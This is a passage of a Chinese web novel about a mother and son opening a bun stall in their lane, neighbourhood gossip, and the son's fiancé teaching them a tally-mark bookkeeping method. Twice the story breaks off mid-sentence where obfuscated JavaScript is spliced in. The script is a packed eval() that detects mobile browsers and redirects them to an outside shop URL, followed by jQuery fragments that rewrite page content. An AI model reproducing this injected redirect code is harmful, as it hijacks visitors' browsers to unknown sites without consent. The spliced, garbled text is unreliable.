院子里,舒乔把洗净的豆角摊在簸箕上,刚放到凳子上,就见一旁的母鸡探头探脑,那眼神分明是在打豆角的主意,只好把簸箕移到更高的地方。
秦氏坐在院里阴凉处,手下不停,将搓洗好的黄瓜放在砧板上,咚咚咚地切成薄片。她手腕一抬一落,动作麻利,黄瓜片厚薄均匀,在阳光下透着水灵灵的光泽。
眼下天气晴好,菜价便宜,正是晒菜干的好时候。
自打定亲后,程凌来得更勤快了。今早又送了一篮子刚摘的菜来,青翠的黄瓜还带着露水。程家这般实在的关照,秦氏看在眼里,只觉得一股暖意渗进心坎里。
“乔哥儿,不行就把吃饭的桌子搬出来,桌脚高鸡够不到。”秦氏看着儿子与鸡较劲,开口道。
舒乔挥臂赶开蠢蠢欲动的母鸡,应道:“也好。”
家里这只鸡精得很,听见切菜声就围着人脚边打转。
定亲那日怕它捣乱关进棚里,谁知它竟扑棱着飞去了邻家,害得家里好一顿找。去隔壁把鸡抓回来后,秦氏想着好在是没唐突了客人,不然非得宰了吃不可。
“家里现在有余粮喂。娘,要不我明日去集市,再买两只鸡崽回来?”舒乔一边说着,一边利索地搬出木桌,将簸箕稳稳放好。
一只鸡终究是少了,多养几只,往后鸡蛋就不缺了。
秦氏停下手里的刀,抬头看了看那只在院子里悠闲踱步的鸡,点了点头,“行,明早我和你一起去。”说到这里,她顿了顿,乔哥儿的嫁妆也该备起来了。
正说着,舟阿么笑呵呵地走进来,手里拿着把旧蒲扇,“切黄瓜呢?我昨儿也刚晒上些茄子。”他说着在秦氏旁边坐下,顺口夸道,“这黄瓜长得挺壮实。”
“凌小子早上才送来的,刚从地里摘下来,新鲜着呢。”秦氏递过一根小些的黄瓜给他。
舟阿么接过,咔嚓咬了一口,清脆有声,“这瓜好吃,黄瓜味儿足。”
“是吧?”秦氏脸上绽开笑,“凌小子说下了不少肥,黄瓜顺着架子长,几乎天天都能摘一茬。”
“凌小子是个踏实肯干的,种出来的东西也实在。”舟阿么又咬了一口黄瓜,这才想起正事。
“对了,你前阵子不是念叨着想寻个活计么?”
秦氏切菜的手立刻停住,忙不迭侧过身,热切道:“怎么,你那儿有信儿了?”
舟阿么摆了摆蒲扇,说道:“那倒不是。是这么回事,咱们巷口不是一直支着个包子摊么?”
秦氏回想了一下,点头,“是有这么回事。怎么,他们那儿要添人手?”
在一旁安静绣着帕子的舒乔,此时也抬起头,眼中流露出好奇。
舟阿么摇头道:“是那日你走后,我娘在旁边提了一嘴,说那摊子要挪地方,不在这片摆了。”
他往前凑了凑,压低了嗓门道:“不瞒你说,那摊子的包子我也买过几回,说实话,滋味寻常,也就是图个方便,早上懒得开火就买来填填肚子。要论好吃,还真比不上你蒸的那大馒头。”
秦氏愣怔住,没明白他的意思。一旁的舒乔眼神一亮,试探着问道:“舟阿么,你是说,让我娘也支个摊子在那卖馒头?”
“正是!”舟阿么一拍大腿,连黄瓜也顾不上吃了,兴致勃勃地说,“你娘蒸的馒头,又暄又软,还带着股韧劲儿,越嚼越香,比他们的强出不止一星半点!”
舒乔立刻点头附和道:“娘做的馒头确实好吃。”
见两人都这么说,秦氏原本犹豫的神色渐渐消散,取而代之的是一丝动心,她迟疑道:“要不……试试看?”
如今外头活计难找,在巷口摆摊离家近又自在,倒不失为一条路子。
“这就对喽!”舟阿么顿时来了劲头,“你要是早上起不来,就专做傍晚那趟生意。那会儿做工的人都归家了,有些人家懒得再起灶,买些现成的馒头包子对付一口,正好!”
舒乔想了想,又补充道:“推车可以先租用,家里白面也是现成的,不妨先试两日看看成效。我早起打水时留意过,原先那家摊子,不到巳时便卖空收摊了。”
而且他看那摊子来来往往不少人买,想来这生意是能做起来的。
“乔哥儿说得在理!”舟阿么将手里黄瓜往旁边一搁,说得越发兴起,“我家往里走两户,挨着大槐树那家,男人就是个手艺不错的木匠。我跟他家媳妇熟得很,你若是真定了主意,我这就去问问,看他家有没有闲置的推车,先租来用着。”
秦氏手下略一停顿,随即干脆道:“行,听你的,就这么定了!”想得再多,不如动手一试。
舟阿么抬头看了看天色,“时辰还早,你把这点活儿收尾,咱们这就过去问问。”
秦氏应了一声,手下切黄瓜的动作更快了,透着股干劲。
舒乔在一旁看着她专注的侧脸,想起前些日子娘病中苍白的脸色,再对比现在这般精神十足的模样,他心里说不出的高兴。
两人都是手脚麻利的主儿,不过一盏茶的功夫,秦氏和舟阿么便收拾妥当,风风火火地出了门。
舒乔正要关门,舒小圆一阵风似的跑进来,小脸红扑扑的,喘了口气问:“哥哥,娘和舟阿么急匆匆的,是要去哪儿呀?”
“去租推车。娘打算在巷口摆个摊子,卖馒头包子。”
舒小圆一双眼睛顿时睁得溜圆,她才出去玩耍了多大会儿,家里竟就要做买卖了?她愣了一瞬,随即迸发出惊喜的光芒,转身就往外跑道:“我去瞧瞧!”
舒乔伸手想拦,小姑娘却已像只灵巧的雀儿,一溜烟跑远了。他只得摇摇头,将院门掩上。
不到一刻钟,门外便传来舒小圆欢快得像铃铛一样的声音,“哥哥快看呀!”
只见三人推着一辆木推车进来,舒小圆正自豪地拍着车板。
“这车瞧着真结实。”舒乔迎上前细看,木料厚实,榫卯严密,竟有八九成新。
舟阿么笑道:“那家媳妇是个痛快人,一听咱们要摆摊,二话不说就把这辆车推出来了。说是做好有些时日了,一直没寻着合适的买主。”
舒小圆是个急性子,围着推车转来转去,连声问:“娘,咱们什么时候开始卖馒头呀?”
“明日就试试看,如何?”舒乔看向秦氏。
秦氏一拍手,斩钉截铁道:“就明天!”
“太好啦!”舒小圆高兴得直蹦跶,手在车板上摩挲个不停。
舒乔含笑卷起衣袖,“我去打水来,里外擦洗一遍。”
这车积了层薄灰,得好好收拾一番。
舟阿么操心的事多,瞥了一眼灶房方向,又道:“你家的蒸笼怕是也不够使,我回去把我那套家什拿来,你先用着。”说完,又迈着匆匆的步子走了。
秦氏转身进屋去清点明日要用的物什,舒乔则打来清水,招呼妹妹,“小圆,帮哥哥递一下水瓢。”
“好咧!”舒小圆笑容满面,一趟趟帮着舀水。
舒乔用丝瓜瓤仔细擦洗着车板,清水顺着木板流下,带走了积尘,露出原本的木色。兄妹俩一个擦一个冲,配合得默契,不过片刻工夫,就把推车里外洗得干干净净。
傍晚舒小临回到家,一眼便瞧见院里多出来的推车,他诧异地后退半步,“我没走错家门吧?”
舒小圆叉着腰站在推车旁,又是好气又是好笑,“我人都杵在这儿了,还能有假?”
“这车哪来的?”舒小临凑上前,好奇地推了推车轮,“轱辘还挺顺溜。”
听妹妹兴冲冲地说了明日要卖包子馒头的事,舒小临眼睛发光道:“这主意妙啊!娘只要忙活半天,还在家门口,再合适不过了。”
晚饭桌上,秦氏一边吃着饭,一边同孩子们细数明日的章程,“馒头就定一文钱一个,素菜包子两文。推车先租了五日,统共二十五文。家里白面、玉米面都有,馅料嘛,就用没吃完的韭菜拌粉条,正好。”
舒乔一边吃饭一边认真听着,等她说完才开口道:“要是赶早市,娘得天不亮就起身。不如先按舟阿么说的,先卖傍晚那档吧?”他说话时目光关切地落在秦氏脸上。
娘病才好利索,他实在担心她太过劳累。
舒小临和舒小圆也连连点头称是。舒小圆扒着饭碗,眼睛扑闪扑闪地望着秦氏,“娘就下午摆嘛,到时候我也能帮上忙呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164065|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
秦氏见孩子们个个都这般体贴,心头暖流淌过,从善如流地应下,“好,就依你们,先摆傍晚的摊子。”
“那我到时候帮娘吆喝!”舒小圆立刻来了精神,撂下碗筷,挺直了身板,捏着嗓子,模仿着小贩的腔调拉长了声音喊:“包子——热乎的包子馒头咧——”
她那副煞有介事的小模样,逗得大家都笑了起来。
秦氏笑得眼角的纹路都深了几分,夹了一筷子菜放到她碗里,“好好好,到时候可就指望咱们小圆这张巧嘴了。”
舒乔望着妹妹那得意洋洋的小模样,面容也柔和下来,一脸和悦。
夜色渐浓,一家人围坐在一起,对明天的营生都充满了期待。
月挂中天时,小院渐渐沉寂下来。
秦氏躺在炕上,想起下午隐约听见的动静,翻了个身轻声问:“乔哥儿,下午我听着巷口像是有人在争执,好像还提到了你?”
舒乔掖被子的手微微一顿,随即将被子拉至胸前,若无其事道道:“没有的事,许是哪家又在吵闹吧,娘听岔了。”
“当真?”秦氏语气里带着疑虑。
实则下午舒乔从菜市回来,刚走到巷口,便听见张家媳妇那把尖厉的嗓子,正对着几个妇人指桑骂槐道:“啧啧,有些人哪,天天往菜行跑,当谁不知道是去会野汉子?没脸没皮的,把咱们这条巷子的风气都带坏了!要是搁在从前,这种不检点的哥儿,早该沉塘了!”
这张家媳妇最是心胸狭隘,前次的过节一直记恨在心,还想拉拢旁人附和。恰巧被正在井边打水的方大娘听了个真切。
方大娘当即撂下水桶,指着她骂道:“张家的!你鼻子上头那俩窟窿眼和旁边那俩扇风耳都是摆设不成?!乔哥儿是明媒正聘、过了礼、定了亲的!你在这里满嘴喷粪,胡诌白咧,仔细烂了舌根子!”
旁边相熟的妇人忙扯张家媳妇的衣袖,低声劝道:“快少说两句吧,前几日程家来下聘时你回娘家去了,不知内情……”
若是旁人,被方大娘这般疾言厉色地呵斥,早该讪讪闭嘴了。偏这张家媳妇梗着脖子,强词夺理,“定亲前那汉子不也常来常往?这谁没瞧见?”
方大娘气得撸起袖子就要上前,“我撕了你这张破嘴!人家两个孩子行事规规矩矩,倒被你编排得如此不堪!你当谁都像你一般,自家汉子三天两头不着家,便整日盯着别人家院墙?再敢胡吣些没影儿的事,仔细老天爷降道天雷,劈了你这个黑心烂肺的!”
这话正戳中张家媳妇的痛处,她顿时气焰矮了半截,支支吾吾再说不出囫囵话。
众人见状,连忙七手八脚地打圆场,“都是误会,说开便好了。张家的,你不是还要赶着回去做饭吗?快回吧,快回吧!”
舒乔静立一旁,看着张家媳妇悻悻离去的背影,暗暗攥紧了拳。
他性子虽不喜与人争锋,但若有人一再污他清誉,他也定要让对方晓得,自己这双常年拿针线的手,也是有两把子力气的。
“乔哥儿,莫往心里去。”方大娘提起水桶,语气缓和下来,“对付这等泼皮货色,就得硬气些,你越是忍让,她便越是蹬鼻子上脸。”
舒乔忙上前帮方大娘稳住水桶,轻声道:“多谢大娘替我说话。”
“快别这么说。”方大娘拍了拍他的臂膀,眼中带着长辈的慈蔼,“咱们这条巷子里,谁不晓得你是个本分懂事的好孩子?再说,大娘也是看着你从小长大的,岂能由着那起子混账东西胡乱编排。”
此刻躺在炕上,回想起方大娘挺身维护自己的情景,舒乔心口仍是热乎乎的。
察觉到秦氏仍在不安地翻身,舒乔放柔了嗓音道:“娘,真没事,快睡吧,明日不是还要忙嘛。”
“好,娘不想了,这就睡。”秦氏听儿子语气平稳,不似作伪,便也稍稍安心。
月光如水,静静透过窗纸洒进来,一旁的舒小圆早已睡熟,舒乔帮她扯了扯踢掉的被子,躺平看着屋顶出神。
下午的插曲他没放在心上,终归那张家媳妇也没讨着好,他更担心的是明天摆摊的事。
虽然预想过了,但到时会怎样也不知道,希望能卖出去才好。
18. 第 18 章
翌日申时末,南巷口的榕树下坐着几个纳凉的妇人阿么,手里摇着蒲扇,眼角却不时瞟向不远处新支起的摊子。
这块空地原是那对夫妻卖包子的地方,今日却换了秦氏带着一双儿女守着。摊前冷清,想不引人注目都难。
“我没看花眼吧?那是乔哥儿和他娘?”穿青布衫的妇人用蒲扇肘推了推身边人,声音压得极低。
“可不就是他们!好好的怎么突然摆起摊子来了?”旁边人语气带着不解。
“这个时辰出来摆摊,别是糊涂了?!”穿蓝布裙的妇人撇撇嘴,声音没控制住,稍大了些。
“你小点声!”先前问话的妇人连忙制止,朝舒家摊子使了个眼色,“都是邻里邻居的,私下说两句就算了,叫人听见多不好。”
摊子离得不远,那些窃窃私语断断续续飘进秦氏耳中。她望着稀稀拉拉过往的行人,先前的干劲已凉了半截。
舒小圆也没精打采地站着,起初还脆生生地吆喝了几声,可站了近两刻钟连一个馒头都没卖出去,她也泄了气。
舒乔将一切看在眼里,轻声宽慰道:“娘,小圆,不急,下工的人还没回来呢。往常这个时辰,巷口都没什么人。”
听他这么一说,秦氏深吸一口气,慢慢稳住心神,点头道:“乔哥儿说得对,咱们不能刚开摊就丧气。我看日头也偏西了,再过一刻钟,大家就该回来了,咱们再等等。”
舒小圆闻言也打起精神,在摊子前站得笔直,眼巴巴望着巷口。
榕树下的人还在嘀咕,林阿么听不下去了,起身道:“人家想摆就摆,又没碍着谁,也没求着你们买。”说罢,径直朝舒乔的摊子走去。
舒乔一直留意着四周,见林阿么过来,笑着招呼道:“林阿么这是要回去了?”
“正要回呢,顺道来看看。”林阿么打量着蒸笼,“卖的什么?”
舒乔伸手掀开蒸笼盖,热气裹挟着麦香和韭菜香扑面而来,他笑着介绍道:“今儿有馒头和韭菜粉条包,馒头一文一个,素包两文。”
林阿么本只想瞧个新鲜,可见那白胖的馒头实在喜人,顿时动了心。她没犹豫,当即掏出钱袋道:“那给我拿四个馒头,两个素包。”
“好咧!”舒乔拿过一张干荷叶。秦氏也回过神来,忙上前帮忙。
林阿么接过包子,付了八文钱,笑着说了句“先尝尝你们的手艺”,便提着东西走了。
待林阿么走远,舒小圆捧着刚到手的八文钱,笑得见牙不见眼,抬头看着秦氏和舒乔道:“哥哥,娘,咱们开张了!”
秦氏脸上的紧绷终于散去,露出欣慰的笑,“可算是开张了。”
果然如舒乔所料,没过多久,下工的人陆续回来。舒小圆立时亮开嗓子吆喝,“包子馒头——香喷喷的包子馒头咧——下工不想做饭的,快来买些热乎的垫垫肚子!”
赶路的人本是匆匆往家走,被这清脆的吆喝声吸引,又闻到随风飘来的麦香,不少人停下脚步,朝摊子看过来。
舒乔赶紧把剩下的蒸笼都掀开,热气腾腾的香气更浓了,几个人试探着走上前。
“这馒头闻着挺香,给我拿俩。”一个穿短打的汉子探头看了看,又指了指素包,“这包子是啥馅儿的?”
“韭菜粉条的,刚出锅的,热乎着呢。”秦氏一边夹起两个馒头递过去,一边回道。
“韭菜的啊?那算了,吃完嘴里味儿大。”那汉子摇摇头,接过馒头,把两文钱递给舒小圆,转身走了。
“韭菜馅的我喜欢,给我来两个。”方大爷背着手踱步上前,目光落在素包上。
“方大爷!”舒小圆笑嘻嘻地说,“您的不用给钱。”娘出门前就叮嘱过,若是舟阿么他们来买,不收钱。平日他们照拂家里,吃几个包子馒头不算什么。
方大爷没接话,等舒小圆把包子递过来,直接从钱袋里摸出四文钱,放在车板上,慢悠悠道:“钱你拿着,就当是给你买糖吃的。”
这时摊子前又围过来几个人,秦氏忙着招呼,也没工夫拉着方大爷推辞,只能看着他优哉游哉地走远了。
随着人流渐多,三人有些手忙脚乱。秦氏夹包子时忘了收钱,舒乔收钱时又被人催着拿馒头,舒小圆更是手忙脚乱地把铜板攥在手里,差点数错。
好在很快调整过来,秦氏专管夹取馒头包子,舒乔负责递包和招呼,舒小圆专心收钱,动作渐渐快了起来。
舒乔看着笼屉一个个变空,心里的石头终于落了地,脸上也现出舒缓的神情。
“哎哟,可算赶上了!小圆,给叔夹几个馒头!”小满她爹跑得气喘吁吁,手里还揣着个空盆,急忙递过来。
“叔,馒头卖完啦,只剩菜包了。”舒小圆笑着回道。
“卖完了?”小满爹一愣,随即笑道,“那也行,给我拿四个菜包,刚好够我们家晚饭吃。”
“刚好还剩四个。”秦氏麻利地夹起菜包,放进他的菜盆里。
“今天生意不错啊。”小满爹付了钱,端着盆,笑呵呵地说:“那我先回了,小满还在家催我呢。”
秦氏笑着应了声,等他走后,和舒乔一起收拾摊子。回到家,三人脸上都带着掩不住的喜色,舒小圆更是迫不及待地搬来装钱的木箱,喊道:“娘,哥哥,咱们赶紧数数今天赚了多少钱!”
舒乔放好蒸笼跟进屋,看着妹妹把铜钱哗啦啦倒在炕上。今日试水,只做了三屉馒头、两屉包子,好在全都卖光了。
“一、二、三……二十一、二十二……”舒小圆趴在炕上,一个一个地数着铜板,小手指头点得飞快。没一会儿,她抬起头,眼睛发亮,“一共六十文钱!”
舒乔却皱了皱眉,“六十文?确定吗?”
秦氏见他神色不对,收起笑容问道:“怎么了乔哥儿,数错了?”
“出摊前我算过,馒头二十一个,一文一个就是二十一文,素包十八个,两文一个就是三十六文,加起来应该是五十七文才对。怎么多了三文出来?”舒乔掰着手指头算给她们看。
“啊?”舒小圆拿着铜板,一脸茫然,“那我再数一遍!”秦氏也凑过去,和她一起重新数。
“一、二……六十!真的是六十文!”舒小圆数完,三人面面相觑,都有些懵。
舒乔沉吟道:“许是方才人多手乱,我们忙中出了差错,或是客人给多了没注意。”
这话一出,秦氏和舒小圆顿时紧张起来。舒小圆急得抓了抓头发,“那怎么办啊?这多出来的钱,拿着怪烫手的!”
“眼下着急也没用,我们也不知是谁多给了。明日出摊时留心问问昨日的客人,兴许能问出来。”舒乔话音刚落,院门就被“咚咚”敲响。他转身道,“我去开门。”
“好像是程大哥的声音!”舒小圆放下铜板,跟在舒乔身后跑了出去。
舒乔打开门,程凌果然站在门外。他微微睁大眼睛,有些意外道:“阿凌?你这会儿不是该回了?”说着侧身让他进来。
“我惦记着你这边,还是过来看看。”程凌说着,朝舒小圆摆摆手,示意不用板凳。
昨日乔哥儿同他说了今日出摊的事,他放心不下,忙完菜行的事就赶过来了。
他额上还带着薄汗,粗布衣衫上也洇着些许汗迹,周身散发着一股温热的气息。
程凌目光在舒乔身上停留了片刻,见他虽面带倦色却无大碍,这才稍稍放下心。
“巷口没见着你们,我便猜是收摊了。”他声音比往日低沉些,话是对着大家说,视线却已落回舒乔身上,“一切都还顺利?”
“都卖完了。”舒乔轻快道。
舒小圆立刻凑过来,手舞足蹈地比划,“开始一个人都没有,我们站了好久呢。后来下工的人回来,一下子就围满了,包子馒头全卖光啦!就是……账有点对不上,多了三文钱。”
她说着,不好意思地挠挠头。
舒乔把忙乱中账目不清的情况说了,眉头轻蹙道:“得想个记账的法子才好,不然日后怕是要糊涂。”
程凌静默地听完,转身从院角拾起一根细树枝,递向舒乔,语气平稳道:“乔哥儿想得周到,摆摊最忌讳账目不清。那你觉得,用什么法子记,又快又不易出错?”
舒乔接过树枝,随即若有所悟地蹲下身,用树枝在地上划了一道,仰起脸眼神清亮,看向程凌道:“像这样,卖一个,划一笔?”
“没错。”程凌顺势蹲在他身旁,接过树枝,手腕沉稳地移动,“我们摆摊有个笨方法,叫‘画正字’。你看,五笔成一个‘正’字,也就是五个包子。”
他边说边在地上画出三栏,“分作馒头、素包、肉包三栏,卖一个就在对应栏里添一笔。收摊时数数有几个‘正’字,便知各卖了多少,哪种好卖。”
“譬如今天卖了二十一个馒头,便是四个‘正’字加一笔,清清楚楚。”
舒小圆和秦氏也凑过来看,地上的划痕简洁清楚,程凌讲得条理分明,两人看他时,眼中便多了几分信服。
他没有停手,又在旁边画下两个完整的“正”字示范,随后将树枝递回舒乔手中,沉静地看着他。
舒乔会意,接过树枝,依样画了一个,动作由生疏到流畅。
程凌眼睛随着舒乔执笔的手移动,见他连着画了好几个正字,眼里笑意加深。
程凌站起身,又补充道:“人多忙乱时,还可以在推车上放个敞口筐,让客人自己把钱放入筐中,再取包子馒头。钱不经过二手,回头补上一笔‘正’字,便不易出错。”
他一边说着向仍蹲着的舒乔伸出手。
舒乔看着伸到面前的手掌,略一迟疑,还是轻轻搭了上去,借着对方的力道站起身便松开,耳根却悄悄漫上一抹薄红。
程凌不动声色地收回手,转而向秦氏道:“摆摊开头几日,分量最难拿捏。婶子明日不妨参照今天的量,卖得快的几样多备三成,卖得慢的少备两成,试几天就能摸准脉了。”
“我正这么打算呢。”秦氏连连点头,心里更有底了。
舒小圆盯着地上的笔画,抬头问道:“但是我们画在什么上呢?地上一擦就没了。”
“木板。”舒乔晃了晃手中的树枝,眸光发亮,说道,“找块光滑的小木板,用炭笔画‘正’字,收摊后对完账擦去,明日还能再用,省事也省钱。”
“哥哥好聪明!”舒小圆一把抱住舒乔的腰,亲昵地晃了晃。
舒乔轻轻拍了拍她的手,对上程凌含笑的视线,笑眼也弯了起来,“是阿凌的法子好。”
“是啊,真得多谢凌小子,帮我们解了难题。”秦氏由衷说道,对程凌更是满意。
“婶子客气了,不过是摆摊久,摸出些门道罢了。”程凌说着眼神又往一旁的舒乔身上飘。
秦氏在一旁看着并肩而立的两人,嘴角怎么都压不住那抹笑意。
天色渐晚,程凌不便久留。临走时,舒乔快步走进灶屋,给他的水囊重新灌满。
“我听你嗓子都哑了,今天定是累坏了吧。”舒乔站在门边,看他仰头喝了大半,脸上流露出心疼。方才光顾着说摆摊的事,竟没注意到他这般疲惫。
“不碍事。”程凌见他眉眼间满是关切,心口像是被什么轻轻撞了一下,整日的辛劳仿佛都烟消云散。
巷子有人经过,朝这边张望。程凌看了眼天色,知道不能再耽搁,临行前又嘱咐道:“我该回了。乔哥儿,平日别太劳累,绣帕子坐久了记得起身活动活动。”
“我记着呢。”舒乔乖顺地点头,唇边的笑意更深了些。
院门轻轻合上,舒小圆从灶屋探出头来,好奇地问:“哥哥,程大哥走啦?”
“嗯,回了。”舒乔脸颊微热,怕她瞧出端倪,急忙转身往屋里走,“该做晚饭了。”
舒小圆浑然未觉,依旧蹦蹦跳跳地跟在他身后。
另一边,林阿么家中,一家人正围坐用饭。林阿么的丈夫咬了口馒头,赞不绝口道:“今儿这馒头好吃!有股子粮食的香甜味,夫郎手艺越发好了。”
林阿么睨他一眼,咽下嘴里的馒头道:“哪是我的手艺,这是在巷口舒家摊上买的。我瞧着那馒头色泽匀净,不死白,闻着就有股子麦香,就买了些回来尝尝。”
“哪个舒家?”丈夫从饭碗里抬起头,面带疑惑。
“还能有哪个?就斜对门那家。”林阿么夹了口菜,就着馒头咬了一口,“许是你回来得晚,人家早收摊了。”
“竟是他家……”他拿起一个素包,咬了一口,韭菜的鲜香混着粉条的滑软在口中散开,“味道确实好!自从老舒走后,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164066|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就少与他家往来,没想到秦氏还有这般手艺。”
林阿么瞪他一眼道:“这话可别在人家跟前提起。如今他们做点小买卖,你要真念着舒大的旧情,往后多去光顾几次,比什么话都强。”
“夫郎说的是!”他笑着点头,美滋滋地又拿起一个包子,“反正他家东西做得入味,我明儿早些下工,多买些回来,留着明早热着吃也好。”
林阿么见他这般模样,心想今日这馒头确是买对了。
晚间,秦氏对着今日赚的铜钱细细盘算,“除去本钱,赚头虽不算多,但若日日如此,一个月下来也有一两多银子。若是卖得好,说不定能挣上二两。比在外头帮工强,也自在些。”
舒小圆趴在一旁,连连点头,“娘,那咱们明天做多少?今天都卖光了呢。”
“我想着,馒头和包子各多加一屉试试。”秦氏一一收好铜板。
舒乔躺在炕上,侧头看向她们,开口道:“娘,我看可以各加两屉。今天后来还有人没买上,而且你做的包子馒头好吃,往后回头客定然多,多备些总没错。”他对娘的手艺有着十足的信心。
秦氏略一思忖,下定决心道:“好!就听乔哥儿的,馒头和包子各加两屉!”
“还有还有,”舒小圆搓了搓手,小声道,“明日咱们晚些去吧?今天去得太早,日头晒得人发晕,也没生意。”
秦氏痛快道:“成,明日就按今天收摊的时辰往前推,申时末再把推车推过去,不必太早去受罪。”
“好耶!”舒小圆欢呼一声,见秦氏起身要熄灯,赶忙躺回自己的位置。
首日摆摊还算顺利,三人都松了口气,安心地睡了个好觉。
翌日一早,秦氏先去了租推车的姚木匠家,想寻块小木板用来画“正”字。
姚木匠和他媳妇一样爽快,听了来意,从木料堆里挑了块两巴掌大的板子,拿起刨子细细打磨了一番,边缘磨得光滑圆润,递到秦氏手里,“这么块小木板,值不了几个钱,拿着用就是!”说完就转身回屋继续干活了。
秦氏心下感激,想着午后包子出锅,定要送些过来答谢。
临近申时末,舒乔三人推着推车,准时出现在南巷口。昨日买过的客人一见他们来,立刻围了上来。
“秦婶子,今天还卖馒头素包吗?给我拿三个馒头、两个素包!”一个年轻媳妇挤到前头,脸上抹了胭脂的脸红扑扑的,眼里带着几分庆幸,“昨天你这馒头我婆母吃了直说好,都没再念叨我做饭不成!”
这人是拐角那家媳妇,平日灶上的活计总不得章法,不是咸了就是淡了,没少挨婆母数落。
今日她穿着整洁的靛蓝布裙,头发梳得一丝不乱,连簪子都插得端正,脸上带着难得的轻松。昨日那几个馒头,倒是让她得了片刻安宁。
秦氏笑着应道:“有呢,今天还多备了两屉,管够!”她一边说,一边利索地夹起馒头包子,用荷叶包好递过去,目送她步履轻快地离开。
今日他们按程凌教的法子分工,秦氏管馒头,舒乔管素包,舒小圆专门记账收钱。果然顺手许多,再不见昨日的忙乱。
舒乔特意留意昨日的熟客,一一问过,却无人说多付了钱。那多出的三文,终究成了个谜。
舒小圆守着木匣,听着铜钱落入匣中的清脆声响,喜得眉开眼笑。
卖完最后一个包子,她欢快地喊道:“收摊回家咯!”
接连数日,三人准时出摊。舒家包子馒头味美价廉的名声,渐渐在巷子里传开。
那张家媳妇先前还冷嘲热讽,断言舒家撑不过三日。如今见舒家生意稳当,旁人稍夸一句,她就尖着嗓子讥讽,要么说“不过是运气好”,要么暗指“有什么见不得人的勾当”。
大伙嫌她嘴碎心窄,见了面都绕着走,更加不爱搭理她了。
她先前被方大娘当众训斥,落了面子,如今又遭邻里疏远,不反思自己,反倒将一腔怨怼都记在舒家头上,对舒家的嫉恨愈发深了。
可这丝毫影响不到舒家的生意,也碍不着舒乔分毫。
摊子稳定后,便由秦氏带着舒小圆照看,舒乔则留在家中,专心绣他的帕子和嫁衣。
这段时日与各样客人打交道,秦氏也比从前干练了不少,说话做事都透着股利落劲儿,脸上的笑容也多了,整个人精气神十足。
这日傍晚,收摊回家后,秦氏坐在炕边整理晾干的衣物,望着窗外渐渐沉下去的夕阳,感叹道:“近来秋老虎厉害得很,白日里比三伏天还燥,夜里又凉飕飕的。一晃眼,日子过得可真快,眼看就要秋收了。”
她转头看向趴在炕上歇息的舒乔,又问:“乔哥儿,凌小子可同你说过,程家何时开始收庄稼?”
舒乔懒洋洋翻过身,缓声回道:“说了,大后天动镰,得忙活好些天。”
秋收是一年里顶要紧的事。程家只有三口人,要比别家多费些工夫。
“秋收最是累人,一趟忙下来,人都要瘦一圈。”秦氏想起往年收玉米、晒粮食、翻地种麦的辛苦,当真是一沾炕就能睡着。
“不过秋收完,离你成亲的日子也近了。”秦氏停下动作轻叹。
“娘是舍不得我?”舒乔把脸半埋进枕间,声音有些闷。
“可不是?若能留你一辈子,娘也愿意。”
舒乔闻言抬起头,仔细端详她。这些时日的摆摊历练,当真让娘变了不少。若是从前,这般直白的话,她是决计不会说出口的。
“娘,你真好。”舒乔说得恳切,倒让秦氏有些不好意思了。
她手无措地在裤子上蹭了蹭,起身道:“你这孩子,说这些干啥。我去瞧瞧小圆和小临,这两人,刚才还听见在院里闹,这会儿没声了,指不定又在磨蹭什么……”说着便快步朝外走,身形略显匆忙。
舒乔看着她的背影,不由莞尔,伸手揉了揉方才埋过的枕头。
暮色渐浓,晚风穿过门扉,送来些许凉意。
舒乔穿着里衣平躺在炕上,面容宁和,闭眼感受着这舒爽的秋风,喃喃道:“这样便很好。”
家里摆摊后,有了稳定的营收,他便能放心不少。
想到即将到来的婚事,舒乔睁开眼,心里涌上几分忐忑和期待。
成亲那日……会是什么光景?